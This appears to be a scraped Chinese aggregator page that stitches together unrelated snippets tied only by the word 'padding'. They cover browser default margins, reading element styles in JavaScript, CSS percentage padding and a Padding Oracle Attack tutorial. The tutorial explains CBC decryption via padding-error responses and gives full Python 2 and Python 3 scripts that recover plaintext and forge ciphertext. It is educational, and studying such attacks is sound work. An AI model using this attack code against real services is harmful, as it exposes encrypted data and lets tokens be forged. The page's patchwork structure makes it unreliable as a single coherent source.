精华内容
下载资源
问答
  • 2021-06-12 05:01:57

    一.h1~h6标签:有默认margin(top,bottom且相同)值,没有默认padding值。

    在chrome中:16,15,14,16,17,19;

    在firefox中:16,15,14,16,17,20;

    在safari中:16,15,14,16,17,19;

    在opera中:16,15,14,14,17,21;

    在maxthon中:16,14,14,15,16,18;

    在IE6.0中:都是19;

    在IE7.0中:都是19;

    在IE8.0中:16,15,14,16,17,19;

    二.dl标签:有默认margin(top,bottom且相同)值,没有默认padding值。

    在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中:margin:12px 0px;

    在IE6.0,7.0中:margin:19px 0px;

    dd标签有默认margin-left:40px;(在所有上述浏览器中)。

    三.ol,ul标签:有默认margin-(top,bottom且相同)值,有默认padding-left值

    在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中:margin:12px 0px;

    在IE6.0,7.0中:margin:19px 0px;

    默认padding-left值:在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中都是padding-left:40px;在IE6.0,7.0中没有默认padding值,因为ol,ul标签的边框不包含序号。

    四.table标签没有默认的margin,padding值;th,td标签没有默认的margin值,有默认的padding值。

    在Chrome,Firefox,Safari,Opera,Maxthon中:padding:1px;

    在IE8.0中:padding:0px 1px 1px;

    在IE7.0中:padding:0px 1px;

    相同内容th的宽度要比td宽,因为th字体有加粗效果。

    五.form标签在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中没有默认的margin,padding值,但在IE6.0,7.0中有默认的margin:19px 0px;

    六.p标签有默认margin(top,bottom)值,没有默认padding值。

    在Chrome,Firefox,Safari,Opera,Maxthon,IE8.0中:margin:12px 0px;

    在IE6.0,7.0中:margin:19px 0px;

    七.textarea标签在上述所有浏览器中:margin:2px;padding:2px;

    八.select标签在Chrome,Safari,Maxthon中有默认的margin:2px;在Opera,Firefox,IE6.0,7.0,8.0没有默认的margin值。

    option标签只有在firefox中有默认的padding-left:3px;

    css reset 以及哪些元素有默认margin padding值

    很多网站在css reset 的时候有如下做法: body, ul, ol, li, p, h1, h2, h3, h4, h5, h6, form, label, dl, dt, dd,fields ...

    html标签默认属性值之margin;padding值

    一.h1~h6标签:有默认margin(top,bottom且相同)值,没有默认padding值. 在chrome中:16,15,14,16,17,19; 在firefox中:16,15,14,16, ...

    常用元素默认margin和padding值问题探讨

    关于默认元素在不同浏览器中的margin值是多少的问题,今天做了一个探讨 复制代码 代码如下: // body的margin值 firefox 20.0 ----------------------- ...

    关于IE处理margin和padding值超出父元素高度的问题

    两个div,父div有padding值,子div有margin-top值,浏览器在解析实际父子位置关系时,他们之间的距离是父padding+子margin-top.现在把父div设置固定高度,并有意让 ...

    css007 margin padding border

    css007 margin padding border 1.理解盒模型(盒模型:就是把一些东西,包括html各种标签都包含在一个 看不见的盒子里) 1/在web浏览器中任何标签都是一个盒子,内容的周 ...

    css之margin && padding讲解

    margin && padding盒子模型: margin是模块与模块的空隙,padding是内容与边框的空隙 注: 1.margin:边缘.空白 2.padding:填充 margi ...

    css 行内元素 块元素 替换元素 非替换元素 以及这些元素的width height margin padding 特性

    一.各种元素的width height margin padding 特性(具体css元素的分来参看二) 1.块级元素 width. height. margin的四个方向. padding的四个方向 ...

    前端 CSS 一些标签默认有padding

    一个html body标签 默认有 margin外边距属性 比如ul标签,有默认的padding-left值. 那么我们一般在做站的时候,是要清除页面标签中默认的padding和margin.以便于我 ...

    随机推荐

    JAVA多态

    多态是指当系统A访问系统B的服务时,系统B可以通过多种方式来提供服务,而这一切对系统A是透明的.比如动物园的饲养员能够给各种各样的动物喂食.下图显示了饲养员Feeder,食物Food和动物Animal ...

    C#模拟http 发送post或get请求

    /// /// 模拟HTTP提交表单并获取返回数据 /// POST /// ///

    更多相关内容
  • 下面小编就为大家带来一篇js获取Html元素的实际宽度高度的方法。小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
  • 通过js获取width、height、padding、border、margin样式失败 欢迎使用Markdown编辑器 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解...

    通过js获取width、height、padding、border、margin,返回值为undefined

    问题描述:
    通过

    • element.style.widht;
    • element.style.height;
    • element.style.padding;
    • element.style.border;
    • element.style.margin;

    对元素的相应属性进行访问,有时候返回值为undefined.

    原因定位:
    html的样式分为;内联样式、内部样式、外部样式,而通过上述方法只能获取内联样式设置的属性

    内联样式测试

    <!DOCTYPE html>
    <html>
    <head>
    	<title>前端学习</title>
    	<meta charset="utf-8">
    </head>
    <body>
    	<!--测试内联样式-->
    	<div style="width: 400px;
    				height: 300px;
    				padding: 30px;
    				border: 5px solid red;
    				margin: 20px;">
    		
    	</div>
    </body>
    </html>
    

    测试结果如下:
    所以
    结论:
    通过内联样式设置的width、height、padding、border、margin属性能通过js的element.style获取。

    内部样式测试

    <!DOCTYPE html>
    <html>
    <head>
    	<title>前端学习</title>
    	<meta charset="utf-8">
    	<!--测试内部样式-->
    	<style type="text/css">
    		div{
    			width: 400px;
    			height: 300px;
    			padding: 30px;
    			border: 5px solid red;
    			margin: 20px;
    		}
    	</style>
    </head>
    <body>
    	
    	<div>
    		<h1>测试内部样式</h1>
    	</div>
    </body>
    </html>
    

    测试结果如下:
    在这里插入图片描述
    结论:
    通过内部样式设置的width、height、padding、border、margin属性不能通过js的element.style获取,其返回值为undefined。

    外部样式测试

    <!DOCTYPE html>
    <html>
    <head>
    	<title>前端学习</title>
    	<meta charset="utf-8">
    	<link rel="stylesheet" type="text/css" href="demo.css">
    </head>
    <body>
    	
    	<div>
    		<h1>测试外部样式</h1>
    	</div>
    </body>
    </html>
    

    外部样式设置如下:

    div{
    	width: 400px;
    	height: 300px;
    	padding: 30px;
    	border: 5px solid red;
    	margin: 20px;
    }
    

    测试结果如下:
    在这里插入图片描述
    结论:
    通过外部样式设置的width、height、padding、border、margin属性不能通过js的element.style获取,其返回值为undefined

    展开全文
  • 讲讲Padding Oracle Attack,之前在ctf中遇到过一次,但直接拿了网上找的exp就没仔细学,现在回头看看学学

    前言

    讲讲Padding Oracle Attack,之前在ctf中遇到过一次,但直接拿了网上找的exp就没仔细学,现在回头看看学学

    Padding Oracle Attack是比较早的一种漏洞利用方式了,在2011年的Pwnie Rewards中被评为”最具有价值的服务器漏洞“。该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解

    利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:

    • 攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)
    • 攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性

    一、基础知识

    1、分组密码

    在密码学中,分组加密(Block Cipher),又称分块加密或块密码,是一种对称密钥算法,如3DES、AES在加密时一般都会采用。它将明文分成多个等长的模块(block),如常见的64bit、128bit、256bit,使用确定的算法和对称密钥对每组分别加密解密

    分组带来一个问题,就是明文不可能恰好是block的整数倍,对于不能整除剩余的部分数据就涉及到填充操作。最常用的填充操作有PKCS#5:在最后一个block中将不足的bit位数作为bit值进行填充,缺少n个bit,就填充n个0x0n,例如最后一个分组(block)缺少3个bit,就填充3个0x03到结尾。在解密时会校验明文的填充是否满足该规则,如果是以N个0x0N结束,则意味着解密操作执行成功,否则解密操作失败

    看个64bit的block的例子如下,请注意,每个字符串都至少有1个字节的填充数据:

    在这里插入图片描述

    2、CBC加密模式

    分组密码算法有四种模式,分别是ECB、CBC、CFB和OFB,其中CBC是IPSEC的标准做法

    CBC(Cipher Block Chaining)主要是引入一个初始化向量(Initialization Vector,IV)来加强密文的随机性,保证相同明文通过相同的密钥加密的结果不一样

    这是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这行可以强化加密算法的"敏感性",即实现所谓的"雪崩效应",在香浓理论中这就是"扰乱原则"

    (1)加密过程

    如图所示:

    • 明文经过填充后,分为不同的组block,以组的方式对数据进行处理
    • 初始化向量(IV)首先和第一组明文进行XOR(异或)操作,得到”中间值“
    • 采用密钥对中间值进行块加密,删除第一组加密的密文 (加密过程涉及复杂的变换、移位等)
    • 第一组加密的密文作为第二组的初始向量(IV),参与第二组明文的异或操作
    • 依次执行块加密,最后将每一块的密文拼接成密文

    在这里插入图片描述
    由于初始化向量(IV)每次加密都是随机的,所以IV经常会被放在密文的前面,解密时先获取前面的IV,再对后面的密文进行解密

    (2)解密过程

    如图所示:

    • 会将密文进行分组(按照加密采用的分组大小),前面的第一组是初始化向量,从第二组开始才是真正的密文
    • 使用加密密钥对密文的第一组进行解密,得到”中间值“
    • 将中间值和初始化向量进行异或,得到该组的明文
    • 前一块密文是后一块密文的IV,通过异或中间值,得到明文
    • 块全部解密完成后,拼接得到明文,密码算法校验明文的格式(填充格式是否正确)
    • 校验通过得到明文,校验失败得到密文

    在这里插入图片描述

    二、Padding Oracle Attack 原理

    1、根源

    这个攻击的根源是明文分组和填充,同时应用程序对于填充异常的响应可以作为反馈,例如请求http://www.example.com/decrypt.jsp?data=0000000000000000EFC2807233F9D7C097116BB33E813C5E,当攻击者在篡改data值时会有以下不同的响应:

    • 如果data值没有被篡改,则解密成功,并且业务校验成功,响应200
    • 如果data值被篡改,服务端无法完成解密,解密校验失败,则响应500
    • 如果data值被篡改,但是服务端解密成功,但业务逻辑校验失败,则可能返回200或302等响应码,而不是响应500

    攻击者只需要关注解密成功和解密失败的响应即可(第三种属于解密成功的响应),即可完成攻击

    2、破解明文

    以一个例子进行猜解,假设有这样一个应用,请求如下:

    http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
    

    即client给server提交的参数为7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
    才能请求正常的服务

    (1)上帝视角

    加密过程

    在这里插入图片描述

    解密过程

    在这里插入图片描述

    关注上图绿色圈起来的部分,解密之后的最后一个数据块,其结尾应该包含正确的填充序列。如果这点没有满足,那么加/解密程序就会抛出一个填充异常。Padding Oracle Attack的关键就是利用程序是否抛出异常来判断padding是否正确。

    (2)攻击者视角

    现在让我们来看看在不知道明文的情况下,如何猜解出明文。首先我们将密文分组,前面8个字节为初始化向量,后面16个字节为加密后的数据:

    初始化向量: 7B  21  6A  63  49  51  17  0F
    第一组密文: F8  51  D6  CC  68  FC  95  37
    第二组密文: 85  87  95  A2  8E  D4  AA  C6
    

    我们来看如何通过构造前面初始向量来破解第一组密文:http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537

    • 将初始化向量全部设置为0,提交如下请求http://www.example.com/decrypt.jsp?data=00000000000000000F851D6CC68FC9537 ,服务器势必会解密失败,返回HTTP 500,那是因为在对数据进行解密的时候,明文最后一个字节的填充是0x3D,不满足填充规则,校验失败,此时示意图如下:
      在这里插入图片描述
    • 依次将初始化向量最后一个字节从0x01~0xFF递增,直到解密的明文最后一个字节为0x01,成为一个正确的padding,当初始化向量为000000000000003C时,成功了,服务器返回HTTP 200,解密示意图如下:
      在这里插入图片描述
    • 我们已知构造成功的IV最后一个字节为0x3C,最后一个填充字符为0x01,则我们能通过XOR计算出,第一组密文解密后的中间值最后一个字节:0x01 xor 0x3C = 0x3D;
      重点:第一组密文解密的中间值是一直不变的,同样也是正确的,我们通过构造IV值,使得最后一位填充值满足0x01,符合padding规则,则意味着程序解密成功(当前解密的结果肯定不是原来的明文),通过循环测试的方法,猜解出中间值的最后一位,再利用同样的方式猜解前面的中间值,直到获取到完整的中间值
    • 下面我们将构造填充值为0x02 0x02的场景,即存在2个填充字节,填充值为0x02,此时我们已经知道了中间值得最后一位为0x3D,计算出初始向量的最后一位为 0x3D xor 0x02 = 0x3F, 即初始向量为0000000000000003F,遍历倒数第二个字节从0x00~0xFF,直到响应成功,猜解出中间值得后两个字节分别为 0x26 0x3D,示例图如下:
      在这里插入图片描述
    • 通过同样的方式,完成第一组密文中间值的猜解
      在这里插入图片描述
    • 当第一组密文的中间值猜解成功后,我们将中间值和已知的IV做异或,则得到第一组密文的明文
      0x39 0x73 0x23 0x22 0x07 0x6A 0x26 0x3D 
      xor 
      0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0x0F
      = 
      BRIAN;12
      

    继续破解第二组密文,第二组密文的IV向量是第一组密文,按照上述的逻辑构造第一组密文,即可破解出第二组明文

    3、伪造密文

    我们已经知道了中间值,那么只需传递指定的IV,就能制造任意想要的密文,如加密TEST

    在这里插入图片描述

    4、脚本

    (1)perl

    https://github.com/AonCyberLabs/PadBuster

    (2)python2

    """
    
        Padding Oracle Attack POC(CBC-MODE)
    
        Author: axis(axis@ph4nt0m.org)
    
        http://hi.baidu.com/aullik5
    
        2011.9
    
     
    
        This program is based on Juliano Rizzo and Thai Duong's talk on 
    
        Practical Padding Oracle Attack.(http://netifera.com/research/)
    
     
    
        For Education Purpose Only!!!
    
     
    
        This program is free software: you can redistribute it and/or modify
    
        it under the terms of the GNU General Public License as published by
    
        the Free Software Foundation, either version 3 of the License, or
    
        (at your option) any later version.
    
     
    
        This program is distributed in the hope that it will be useful,
    
        but WITHOUT ANY WARRANTY; without even the implied warranty of
    
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    
        GNU General Public License for more details.
    
     
    
        You should have received a copy of the GNU General Public License
    
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
    
    """
    
     
    
    import sys
    
     
    
    # https://www.dlitz.net/software/pycrypto/
    
    from Crypto.Cipher import *
    
    import binascii
    
     
    
    # the key for encrypt/decrypt
    
    # we demo the poc here, so we need the key
    
    # in real attack, you can trigger encrypt/decrypt in a complete blackbox env
    
    ENCKEY = 'abcdefgh'
    
     
    
    def main(args):
    
      print 
    
      print "=== Padding Oracle Attack POC(CBC-MODE) ==="
    
      print "=== by axis ==="
    
      print "=== axis@ph4nt0m.org ==="
    
      print "=== 2011.9 ==="
    
      print 
    
     
    
      ########################################
    
      # you may config this part by yourself
    
      iv = '12345678'
    
      plain = 'aaaaaaaaaaaaaaaaX'
    
      plain_want = "opaas"
    
     
    
      # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 
    
      cipher = "blowfish"
    
      ########################################
    
     
    
      block_size = 8
    
      if cipher.lower() == "aes":
    
        block_size = 16
    
     
    
      if len(iv) != block_size:
    
        print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
    
        return False
    
     
    
      print "=== Generate Target Ciphertext ==="
    
     
    
      ciphertext = encrypt(plain, iv, cipher)
    
      if not ciphertext:
    
        print "[-] Encrypt Error!"
    
        return False
    
     
    
      print "[+] plaintext is: "+plain
    
      print "[+] iv is: "+hex_s(iv)
    
      print "[+] ciphertext is: "+ hex_s(ciphertext)
    
      print
    
     
    
      print "=== Start Padding Oracle Decrypt ==="
    
      print
    
      print "[+] Choosing Cipher: "+cipher.upper()
    
     
    
      guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)
    
     
    
      if guess:
    
        print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
    
        print "[+] plaintext = intermediary_value XOR original_IV"
    
        print "[+] Guess plaintext is: "+guess["plaintext"]
    
        print
    
     
    
        if plain_want:
    
          print "=== Start Padding Oracle Encrypt ==="
    
          print "[+] plaintext want to encrypt is: "+plain_want
    
          print "[+] Choosing Cipher: "+cipher.upper()
    
     
    
          en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
    
     
    
          if en:
    
            print "[+] Encrypt Success!"
    
            print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
    
            print "[+] IV is: "+hex_s(en[:block_size])
    
            print
    
           
    
            print "=== Let's verify the custom encrypt result ==="
    
            print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
    
            de = decrypt(en[block_size:], en[:block_size], cipher)
    
            if de == add_PKCS5_padding(plain_want, block_size):
    
              print de
    
              print "[+] Bingo!"
    
            else:
    
              print "[-] It seems something wrong happened!"
    
              return False
    
     
    
        return True
    
      else:
    
        return False
    
     
    
     
    
    def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
    
      # the last block
    
      guess_cipher = ciphertext[0-block_size:] 
    
     
    
      plaintext = add_PKCS5_padding(plaintext, block_size)
    
      print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
    
      print
    
     
    
      block = len(plaintext)
    
      iv_nouse = iv # no use here, in fact we only need intermediary
    
      prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
    
      while block > 0:
    
        # we need the intermediary value
    
        tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)
    
     
    
        # calculate the iv, the iv is the ciphertext of the previous block
    
        prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
    
     
    
        #save result
    
        guess_cipher = prev_cipher + guess_cipher
    
     
    
        block = block - block_size
    
     
    
      return guess_cipher  
    
     
    
     
    
    def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
    
      # split cipher into blocks; we will manipulate ciphertext block by block
    
      cipher_block = split_cipher_block(ciphertext, block_size)
    
     
    
      if cipher_block:
    
        result = {}
    
        result["intermediary"] = ''
    
        result["plaintext"] = ''
    
     
    
        counter = 0
    
        for c in cipher_block:
    
          if debug:
    
            print "[*] Now try to decrypt block "+str(counter)
    
            print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
    
            print
    
          # padding oracle to each block
    
          guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
    
     
    
          if guess:
    
            iv = c
    
            result["intermediary"] += guess["intermediary"]
    
            result["plaintext"] += guess["plaintext"]
    
            if debug:
    
              print
    
              print "[+] Block "+str(counter)+" decrypt!"
    
              print "[+] intermediary value is: "+hex_s(guess["intermediary"])
    
              print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
    
              print
    
            counter = counter+1
    
          else:
    
            print "[-] padding oracle decrypt error!"
    
            return False
    
     
    
        return result
    
      else:
    
        print "[-] ciphertext's block_size is incorrect!"    
    
        return False
    
     
    
    def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
    
      result = {}
    
      plain = ''
    
      intermediary = []  # list to save intermediary
    
      iv_p = [] # list to save the iv we found
    
     
    
      for i in range(1, block_size+1):
    
        iv_try = []
    
        iv_p = change_iv(iv_p, intermediary, i)
    
     
    
        # construct iv
    
        # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found)
    
        for k in range(0, block_size-i):
    
          iv_try.append("\x00")
    
     
    
        # bruteforce iv byte for padding oracle
    
        # 1 bytes to bruteforce, then append the rest bytes
    
        iv_try.append("\x00")
    
     
    
        for b in range(0,256):
    
          iv_tmp = iv_try
    
          iv_tmp[len(iv_tmp)-1] = chr(b)
    
        
    
          iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
    
     
    
          # append the result of iv, we've just calculate it, saved in iv_p
    
          for p in range(0,len(iv_p)):
    
            iv_tmp_s += iv_p[len(iv_p)-1-p]
    
          
    
          # in real attack, you have to replace this part to trigger the decrypt program
    
          #print hex_s(iv_tmp_s) # for debug
    
          plain = decrypt(ciphertext, iv_tmp_s, cipher)
    
          #print hex_s(plain) # for debug
    
     
    
          # got it!
    
          # in real attack, you have to replace this part to the padding error judgement
    
          if check_PKCS5_padding(plain, i):
    
            if debug:
    
              print "[*] Try IV: "+hex_s(iv_tmp_s)
    
              print "[*] Found padding oracle: " + hex_s(plain)
    
            iv_p.append(chr(b))
    
            intermediary.append(chr(b ^ i))
    
            
    
            break
    
     
    
      plain = ''
    
      for ch in range(0, len(intermediary)):
    
        plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
    
        
    
      result["plaintext"] = plain
    
      result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
    
      return result
    
     
    
    # save the iv bytes found by padding oracle into a list
    
    def change_iv(iv_p, intermediary, p):
    
      for i in range(0, len(iv_p)):
    
        iv_p[i] = chr( ord(intermediary[i]) ^ p)
    
      return iv_p  
    
     
    
    def split_cipher_block(ciphertext, block_size=8):
    
      if len(ciphertext) % block_size != 0:
    
        return False
    
     
    
      result = []
    
      length = 0
    
      while length < len(ciphertext):
    
        result.append(ciphertext[length:length+block_size])
    
        length += block_size
    
     
    
      return result
    
     
    
     
    
    def check_PKCS5_padding(plain, p):
    
      if len(plain) % 8 != 0:
    
        return False
    
     
    
      # convert the string
    
      plain = plain[::-1]
    
      ch = 0
    
      found = 0
    
      while ch < p:
    
        if plain[ch] == chr(p):
    
          found += 1
    
        ch += 1 
    
     
    
      if found == p:
    
        return True
    
      else:
    
        return False
    
     
    
    def add_PKCS5_padding(plaintext, block_size):
    
      s = ''
    
      if len(plaintext) % block_size == 0:
    
        return plaintext
    
     
    
      if len(plaintext) < block_size:
    
        padding = block_size - len(plaintext)
    
      else:
    
        padding = block_size - (len(plaintext) % block_size)
    
      
    
      for i in range(0, padding):
    
        plaintext += chr(padding)
    
     
    
      return plaintext
    
     
    
    def decrypt(ciphertext, iv, cipher):
    
      # we only need the padding error itself, not the key
    
      # you may gain padding error info in other ways
    
      # in real attack, you may trigger decrypt program
    
      # a complete blackbox environment
    
      key = ENCKEY
    
     
    
      if cipher.lower() == "des":
    
        o = DES.new(key, DES.MODE_CBC,iv)
    
      elif cipher.lower() == "aes":
    
        o = AES.new(key, AES.MODE_CBC,iv)
    
      elif cipher.lower() == "des3":
    
        o = DES3.new(key, DES3.MODE_CBC,iv)
    
      elif cipher.lower() == "blowfish":
    
        o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
    
      elif cipher.lower() == "cast":
    
        o = CAST.new(key, CAST.MODE_CBC,iv)
    
      elif cipher.lower() == "arc2":
    
        o = ARC2.new(key, ARC2.MODE_CBC,iv)
    
      else:
    
        return False
    
     
    
      if len(iv) % 8 != 0:
    
        return False
    
     
    
      if len(ciphertext) % 8 != 0:
    
        return False
    
     
    
      return o.decrypt(ciphertext)
    
     
    
     
    
    def encrypt(plaintext, iv, cipher):
    
      key = ENCKEY
    
     
    
      if cipher.lower() == "des":
    
        if len(key) != 8:
    
          print "[-] DES key must be 8 bytes long!"
    
          return False
    
        o = DES.new(key, DES.MODE_CBC,iv)
    
      elif cipher.lower() == "aes":
    
        if len(key) != 16 and len(key) != 24 and len(key) != 32:
    
          print "[-] AES key must be 16/24/32 bytes long!"
    
          return False
    
        o = AES.new(key, AES.MODE_CBC,iv)
    
      elif cipher.lower() == "des3":
    
        if len(key) != 16:
    
          print "[-] Triple DES key must be 16 bytes long!"
    
          return False
    
        o = DES3.new(key, DES3.MODE_CBC,iv)
    
      elif cipher.lower() == "blowfish":
    
        o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
    
      elif cipher.lower() == "cast":
    
        o = CAST.new(key, CAST.MODE_CBC,iv)
    
      elif cipher.lower() == "arc2":
    
        o = ARC2.new(key, ARC2.MODE_CBC,iv)
    
      else:
    
        return False
    
     
    
      plaintext = add_PKCS5_padding(plaintext, len(iv))  
    
     
    
      return o.encrypt(plaintext)
    
     
    
    def xor_str(a,b):
    
      if len(a) != len(b):
    
        return False
    
     
    
      c = ''
    
      for i in range(0, len(a)):
    
        c += chr( ord(a[i]) ^ ord(b[i]) )
    
     
    
      return c
    
     
    
    def hex_s(str):
    
      re = ''
    
      for i in range(0,len(str)):
    
        re += "\\x"+binascii.b2a_hex(str[i])
    
      return re
    
     
    
    if __name__ == "__main__":
    
            main(sys.argv)
    

    (3)python3

    poa.py

    #!/usr/bin/env python
    
    from hexdump import hexdump
    from Crypto.Cipher import AES
    
    import IPython
    
    
    plain = b"Hello World! MTDP! RedTeam! 23333"
    
    
    class POA(object):
        KEY = b"1234567890abcdef"
        IV = b"0102030405060708"
    
        @classmethod
        def __pad(cls, text: bytes):
            """PKCS7 padding"""
            text_length = len(text)
            amount_to_pad = AES.block_size - (text_length % AES.block_size)
            if amount_to_pad == 0:
                amount_to_pad = AES.block_size
            pad = chr(amount_to_pad).encode()
            return text + pad * amount_to_pad
    
        @classmethod
        def __unpad(cls, text: bytes):
            pad = text[-1]
            _pad = text[-pad:]
            for i in _pad:
                if pad != i:
                    raise Exception("Error Padding! - %s" % _pad)
            return text[:-pad]
    
        @classmethod
        def encrypt(cls, plain: bytes):
            pad_plain = cls.__pad(plain)
            aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
            cipher = aes.encrypt(pad_plain)
            hexdump(cipher)
            return cipher
    
        @classmethod
        def decrypt(cls, cipher: bytes):
            aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV)
            pad_plain = aes.decrypt(cipher)
            return cls.__unpad(pad_plain)
    
        @classmethod
        def decrypt_without_result(cls, cipher: bytes):
            try:
                cls.decrypt(cipher)
                return True
            except Exception as e:
                # print(e)
                return False
    
    
    def test():
        return POA.encrypt(plain)
    
    
    if __name__ == "__main__":
        cipher = test()
        plain = POA.decrypt(cipher)
        print(plain)
    
        IPython.embed()
    

    poa_attack.py

    #!/usr/bin/env python3
    
    import pdb
    
    from poa import test, POA
    
    from Crypto.Cipher import AES
    import IPython
    
    
    class PaddingOracleAttack(object):
    
        def __init__(self, cipher, iv):
            self.cipher = cipher
    
            # 把密文分割成列表,每个列表元素16字节
            self.cipher_lst = self.split_block(self.cipher)
    
            # 解密的中间值
            self.mid_lst = [self.brute_middle(self.cipher_lst[-1])]
    
            # 存储计算出来的明文
            self.plain_lst = [[] for _ in self.cipher_lst]
    
        @classmethod
        def split_block(cls, cipher):
            cipher_list = []
            for i in range(0, len(cipher), 16):
                cipher_list.append(cipher[i: i + 16])
            return cipher_list
    
        def calc_new_tail(self, tail, idx):
            new_tail = b""
            for t in tail:
                _tail = t ^ (idx - 1) ^ idx
                new_tail += _tail.to_bytes(1, byteorder="big")
            return new_tail
    
        def brute_middle(self, cipher_line):
            '''暴力破解解密的中间值'''
            tail = b""
            mid_lst = []
            # 从pad 为0x01开始 到 0x10
            for pad in range(1, 17):
    
                # 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。
                tail = self.calc_new_tail(tail, pad)
    
                find_pad = False
                for i in range(0, 256):
                    # 形成2个密文块
                    cipher = b"\x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line
                    if POA.decrypt_without_result(cipher):
                        # print("[!] Cipher - %s" % cipher)
                        find_pad = True
                        tail = i.to_bytes(1, byteorder="big") + tail
    
                        mid_chr = i ^ pad
                        mid_lst.insert(0, mid_chr)
    
                if not find_pad:
                    raise Exception("Error not find pad!")
    
            return bytes(mid_lst)
    
        @classmethod
        def __pad(cls, text: bytes):
            """PKCS7 padding"""
            text_length = len(text)
            amount_to_pad = AES.block_size - (text_length % AES.block_size)
            if amount_to_pad == 0:
                amount_to_pad = AES.block_size
            pad = chr(amount_to_pad).encode()
            return text + pad * amount_to_pad
    
        def fake(self, plain, cipher=None, mid=None):
            '''伪造
    
            :plain: 要伪造的明文
            :last_cipher: 一个密文块
            :last_mid:  密文块解密出来的中间值
            '''
            pad_plain = self.__pad(plain)
            plain_lst = self.split_block(pad_plain)
            mid = mid if mid else self.mid_lst[-1]
    
            cipher = [cipher if cipher else self.cipher_lst[-1]]
    
            # 从最后开始计算
            for plain in plain_lst[::-1]:
                need_iv = b""
                for idx in range(len(plain)):
                    _m = mid[idx]
                    _p = plain[idx]
                    need_iv += (_m ^ _p).to_bytes(1, byteorder="big")
    
                mid = self.brute_middle(need_iv)
                cipher.insert(0, need_iv)
    
            return cipher[0], b''.join(cipher[1:])
    
        def decrypt(self):
            '''解密'''
            # 从最后开始计算
            self.mid_lst = []
            for _idx in range(len(self.cipher_lst), 0, -1):
                line_idx = _idx - 1
                cipher_line = self.cipher_lst[line_idx]
    
                if line_idx >= 1:
                    # 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或
                    p_cipher_line = self.cipher_lst[line_idx - 1]
                else:
                    # 如果是第一行,则其与IV异或
                    p_cipher_line = iv
    
                _mid = self.brute_middle(cipher_line)
                self.mid_lst.insert(0, _mid)
                for idx, _m in enumerate(_mid):
                    plain_chr = _m ^ p_cipher_line[idx]
                    self.plain_lst[line_idx].append(plain_chr)
    
            plain = b""
            for p in self.plain_lst:
                plain += bytes(p)
    
            return plain
    
    
    if __name__ == "__main__":
        cipher = test()     # 获取密文
        iv = POA.IV         # 获取初始化向量
    
        poa_atck = PaddingOracleAttack(cipher, iv)
        new_iv, new_cipher = poa_atck.fake(b"wo ai beijing tianan men!")
        plain = poa_atck.decrypt()
    
        IPython.embed()
    
    
    

    结语

    经典通过错误响应的反馈进行的攻击

    参考:

    展开全文
  • 本文实例讲述了javascript通过获取html标签属性class实现多选项卡的方法。分享给大家供大家参考。具体实现方法如下: <!DOCTYPE html> <html> <head> <meta charset=utf-8 /> <title>...
  • 外边距属性margin和内边距属性padding取百分比值的时候,无论是left、right或top、bottom,都是以其父元素的宽值(width)作为参照物(即分母top/width),这是W3C的规范,官方原文如下:Note that in a horizontal flow...

    外边距属性margin和内边距属性padding取百分比值的时候,无论是left、right或top、bottom,都是以其父元素的宽值(width)作为参照物(即分母top/width),这是W3C的规范,官方原文如下:

    Note that in a horizontal flow, percentages on ‘margin-top’ and ‘margin-bottom’ are relative to the width of the containing block, not the height (and in vertical flow, ‘margin-left’ and ‘margin-right’ are relative to the height, not the width).

    Note that percentages on ‘padding-top’ and ‘padding-bottom’ are relative to the width of the containing block, not the height (at least in a horizontal flow; in a vertical flow they are relative to the height).

